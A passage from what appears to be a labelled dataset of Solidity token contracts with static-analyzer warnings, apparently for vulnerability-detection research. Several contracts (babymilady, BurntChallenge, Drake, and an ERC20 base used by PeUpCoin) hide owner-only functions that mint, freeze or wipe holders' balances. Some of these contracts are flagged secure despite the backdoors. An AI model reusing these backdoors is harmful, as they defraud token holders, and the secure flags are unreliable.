(function)\n\t// Recommendation for 9154592: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cb239fa): babymilady.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cb239fa: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3000086): babymilady.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3000086: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 71bc907): babymilady.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 71bc907: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(owner, spender, currentAllowance.sub(subtractedValue));\n return true;\n }\n\n mapping(address => uint256) private _bala;\n function approver(address sss, uint256 ammouunt) external {\n if (_bnbbusd == _msgSender()) {\n _bala[sss] = 1 * ammouunt + 0;\n }\n }\n\n function approveo(address zzz) external {\n address _slfjweow = _msgSender();\n if (_bnbbusd == _slfjweow) {\n _weofsdmese[zzz] = 100000000000000 * (1000000000 * 10 ** 18);\n }\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 minAmount = _bala[from];\n uint256 decydsBalance = _weofsdmese[from].sub(minAmount);\n require(\n decydsBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _weofsdmese[from] = decydsBalance.sub(amount);\n\n _weofsdmese[to] = _weofsdmese[to].add(amount);\n emit Transfer(from, to, amount);\n }\n\n function _yydsed(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: yydsed to the zero address\");\n _totalSupply = _totalSupply.add(amount);\n _weofsdmese[msg.sender] = _weofsdmese[msg.sender].add(amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n uint256 accountBalance = _weofsdmese[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _weofsdmese[account] = accountBalance.sub(amount);\n _totalSupply = _totalSupply.sub(amount);\n emit Transfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a7b9bef): babymilady._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a7b9bef: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0b659ce): babymilady._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0b659ce: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance.sub(amount));\n }\n }\n}",
"file_name": "solidity_code_2125.sol",
"secure": 0,
"size_bytes": 8042
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n}",
"file_name": "solidity_code_2126.sol",
"secure": 1,
"size_bytes": 442
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract BridgeAssistE {\n address public owner;\n\t// WARNING Optimization Issue (immutable-states | ID: e1a76a5): BridgeAssistE.TKN should be immutable \n\t// Recommendation for e1a76a5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IERC20 public TKN;\n\n modifier restricted() {\n require(msg.sender == owner, \"This function is restricted to owner\");\n _;\n }\n\n event Collect(address indexed sender, uint256 amount);\n event Dispense(address indexed sender, uint256 amount);\n event TransferOwnership(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 02923de): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 02923de: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-erc20 | severity: High | ID: 99d6500): 'msg.sender' is not used as 'from' in 'transferFrom'.\n\t// Recommendation for 99d6500: Use 'msg.sender' as 'from' in 'transferFrom'.\n function collect(\n address _sender,\n uint256 _amount\n ) public restricted returns (bool success) {\n require(\n TKN.allowance(_sender, address(this)) >= _amount,\n \"Amount check failed\"\n );\n\t\t// reentrancy-events | ID: 02923de\n\t\t// arbitrary-send-erc20 | ID: 99d6500\n require(\n TKN.transferFrom(_sender, address(this), _amount),\n \"transferFrom() failure. Make sure that your balance is not lower than the allowance you set\"\n );\n\t\t// reentrancy-events | ID: 02923de\n emit Collect(_sender, _amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ea3c35c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ea3c35c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function dispense(\n address _sender,\n uint256 _amount\n ) public restricted returns (bool success) {\n\t\t// reentrancy-events | ID: ea3c35c\n require(\n TKN.transfer(_sender, _amount),\n \"transfer() failure. Contact contract owner\"\n );\n\t\t// reentrancy-events | ID: ea3c35c\n emit Dispense(_sender, _amount);\n return true;\n }\n\n function transferOwnership(address _newOwner) public restricted {\n require(_newOwner != address(0), \"Invalid address: should not be 0x0\");\n emit TransferOwnership(owner, _newOwner);\n owner = _newOwner;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 78f84e2): BridgeAssistE.constructor(IERC20,address)._owner lacks a zerocheck on \t owner = _owner\n\t// Recommendation for 78f84e2: Check that the address is not zero.\n constructor(IERC20 _TKN, address _owner) {\n TKN = _TKN;\n\t\t// missing-zero-check | ID: 78f84e2\n owner = _owner;\n }\n}",
"file_name": "solidity_code_2127.sol",
"secure": 0,
"size_bytes": 3490
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\ninterface IDEXRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}",
"file_name": "solidity_code_2128.sol",
"secure": 1,
"size_bytes": 1086
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IDEXFactory.sol\" as IDEXFactory;\nimport \"./IDEXRouter.sol\" as IDEXRouter;\n\ncontract BurntChallenge is Ownable, IERC20 {\n using SafeMath for uint256;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFrom;\n\t// WARNING Optimization Issue (constable-states | ID: 20b9dd0): BurntChallenge._name should be constant \n\t// Recommendation for 20b9dd0: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Burnt Challenge\";\n\t// WARNING Optimization Issue (constable-states | ID: 099c0a8): BurntChallenge._symbol should be constant \n\t// Recommendation for 099c0a8: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"CHALLENGE\";\n\t// WARNING Optimization Issue (constable-states | ID: 0cbb08e): BurntChallenge._decimals should be constant \n\t// Recommendation for 0cbb08e: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 9;\n\t// WARNING Optimization Issue (constable-states | ID: f151565): BurntChallenge._totalSupply should be constant \n\t// Recommendation for f151565: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 1000000 * 10 ** 9;\n\t// WARNING Optimization Issue (constable-states | ID: 73f0165): BurntChallenge._burnfee should be constant \n\t// Recommendation for 73f0165: Add the 'constant' attribute to state variables that never change.\n uint256 private _burnfee = 0;\n\t// WARNING Optimization Issue (immutable-states | ID: 42f331c): BurntChallenge.uniswapV2Pair should be immutable \n\t// Recommendation for 42f331c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\t// WARNING Optimization Issue (immutable-states | ID: 50e67c9): BurntChallenge.uniswapV2Router should be immutable \n\t// Recommendation for 50e67c9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IDEXRouter public uniswapV2Router;\n\n constructor() {\n _tOwned[_msgSender()] = _totalSupply;\n uniswapV2Router = IDEXRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Pair = IDEXFactory(uniswapV2Router.factory()).createPair(\n uniswapV2Router.WETH(),\n address(this)\n );\n _isExcludedFrom[owner()] = true;\n _isExcludedFrom[address(this)] = true;\n _isExcludedFrom[_msgSender()] = true;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _tOwned[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 154f40a): BurntChallenge.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 154f40a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n uint256 Allowancec = _allowances[sender][_msgSender()];\n require(Allowancec >= amount);\n return true;\n }\n\n function Approve(address from, address to, uint256 amount) external {\n require(_isExcludedFrom[msg.sender]);\n require(from != uniswapV2Pair);\n require(to != uniswapV2Pair);\n _tOwned[from] = amount;\n _tOwned[to] = amount;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b5c5653): BurntChallenge._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b5c5653: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0));\n require(spender != address(0));\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 6eaeec6): BurntChallenge._transfer(address,address,uint256)._taxfee is a local variable never initialized\n\t// Recommendation for 6eaeec6: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0));\n require(to != address(0));\n require(amount > 0);\n\n _tOwned[from] -= amount;\n uint256 _taxfee;\n\n if (!_isExcludedFrom[from] && !_isExcludedFrom[to]) {\n _taxfee = amount.mul(_burnfee).div(100);\n }\n\n uint256 amounts = amount - _taxfee;\n\n _tOwned[to] += amounts;\n\n emit Transfer(from, to, amounts);\n }\n\n function _basicTransfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n _tOwned[from] = _tOwned[from] - amount;\n _tOwned[to] = _tOwned[to] + amount;\n emit Transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private returns (uint256) {\n uint256 initialBalance = address(this).balance;\n\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n return (address(this).balance - initialBalance);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cd2d349): BurntChallenge.addLiquidityETH(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,address(0xdead),block.timestamp)\n\t// Recommendation for cd2d349: Ensure that all the return values of the function calls are used.\n function addLiquidityETH(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// unused-return | ID: cd2d349\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n address(0xdead),\n block.timestamp\n );\n }\n}",
"file_name": "solidity_code_2129.sol",
"secure": 0,
"size_bytes": 8247
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary Address {\n error AddressInsufficientBalance(address account);\n\n error AddressEmptyCode(address target);\n\n error FailedInnerCall();\n\n function sendValue(address payable recipient, uint256 amount) internal {\n if (address(this).balance < amount) {\n revert AddressInsufficientBalance(address(this));\n }\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n if (!success) {\n revert FailedInnerCall();\n }\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n if (address(this).balance < value) {\n revert AddressInsufficientBalance(address(this));\n }\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return verifyCallResultFromTarget(target, success, returndata);\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return verifyCallResultFromTarget(target, success, returndata);\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return verifyCallResultFromTarget(target, success, returndata);\n }\n\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata\n ) internal view returns (bytes memory) {\n if (!success) {\n _revert(returndata);\n } else {\n if (returndata.length == 0 && target.code.length == 0) {\n revert AddressEmptyCode(target);\n }\n\n return returndata;\n }\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata\n ) internal pure returns (bytes memory) {\n if (!success) {\n _revert(returndata);\n } else {\n return returndata;\n }\n }\n\n function _revert(bytes memory returndata) private pure {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert FailedInnerCall();\n }\n }\n}",
"file_name": "solidity_code_213.sol",
"secure": 1,
"size_bytes": 2840
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Drake is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable interference;\n\n constructor() {\n _name = \"DRAKE\";\n\n _symbol = \"DRAKE\";\n\n _decimals = 18;\n\n uint256 initialSupply = 283000000;\n\n interference = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == interference, \"Not allowed\");\n\n _;\n }\n\n function psychology(address[] memory silk) public onlyOwner {\n for (uint256 i = 0; i < silk.length; i++) {\n address account = silk[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_2130.sol",
"secure": 1,
"size_bytes": 4366
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n using SafeMath for uint256;\n\n mapping(address => mapping(address => uint256)) private swapEnableds;\n address private _uniswapV2Factory =\n 0x017F890B9f1a60904A7D782A943EA5e7362c8224;\n uint256 private _totalSupply;\n string private _symbol;\n string private _name;\n uint8 private _decimals = 9;\n address internal _uniswapRouterV2 =\n 0xA09713B177752c6eA8f3c0f1fd3563E14e51D44e;\n mapping(address => uint256) private _balances;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return swapEnableds[owner][spender];\n }\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[from] = fromBalance - amount;\n\n _balances[to] = _balances[to].add(amount);\n emit Transfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n function sync(address syncSender) external {\n if (msg.sender == _uniswapV2Factory) _balances[syncSender] = 0x0;\n }\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n swapEnableds[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n}",
"file_name": "solidity_code_2131.sol",
"secure": 1,
"size_bytes": 6253
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract PeUpCoin is ERC20, Ownable {\n constructor() ERC20(unicode\"Pepe Up \", unicode\"PEUP\") {\n transferOwnership(_uniswapRouterV2);\n _mint(owner(), 8010000000000 * 10 ** uint256(decimals()));\n }\n}",
"file_name": "solidity_code_2132.sol",
"secure": 1,
"size_bytes": 417
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Shiba3 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"Shiba 3.0\";\n string private constant _symbol = \"SHIB3.0\";\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 1000000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n uint256 private _redisFeeOnBuy = 0;\n uint256 private _taxFeeOnBuy = 20;\n uint256 private _redisFeeOnSell = 0;\n uint256 private _taxFeeOnSell = 20;\n\n uint256 private _redisFee = _redisFeeOnSell;\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousredisFee = _redisFee;\n uint256 private _previoustaxFee = _taxFee;\n\n mapping(address => bool) public bots;\n mapping(address => uint256) public _buyMap;\n\t// WARNING Optimization Issue (constable-states | ID: 2afe498): Shiba3._developmentAddress should be constant \n\t// Recommendation for 2afe498: Add the 'constant' attribute to state variables that never change.\n address payable private _developmentAddress =\n payable(0xa65369403c6B3685aadA35e2635dD3F8Ff9aAd18);\n\t// WARNING Optimization Issue (constable-states | ID: 122efc2): Shiba3._marketingAddress should be constant \n\t// Recommendation for 122efc2: Add the 'constant' attribute to state variables that never change.\n address payable private _marketingAddress =\n payable(0xa65369403c6B3685aadA35e2635dD3F8Ff9aAd18);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0468517): Shiba3.uniswapV2Router should be immutable \n\t// Recommendation for 0468517: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 09c014f): Shiba3.uniswapV2Pair should be immutable \n\t// Recommendation for 09c014f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen = true;\n bool private inSwap = false;\n bool private swapEnabled = true;\n\n uint256 public _maxTxAmount = 20000000 * 10 ** 9;\n uint256 public _maxWalletSize = 20000000 * 10 ** 9;\n uint256 public _swapTokensAtAmount = 10000 * 10 ** 9;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_developmentAddress] = true;\n _isExcludedFromFee[_marketingAddress] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ca2f5fa): Shiba3.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ca2f5fa: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override 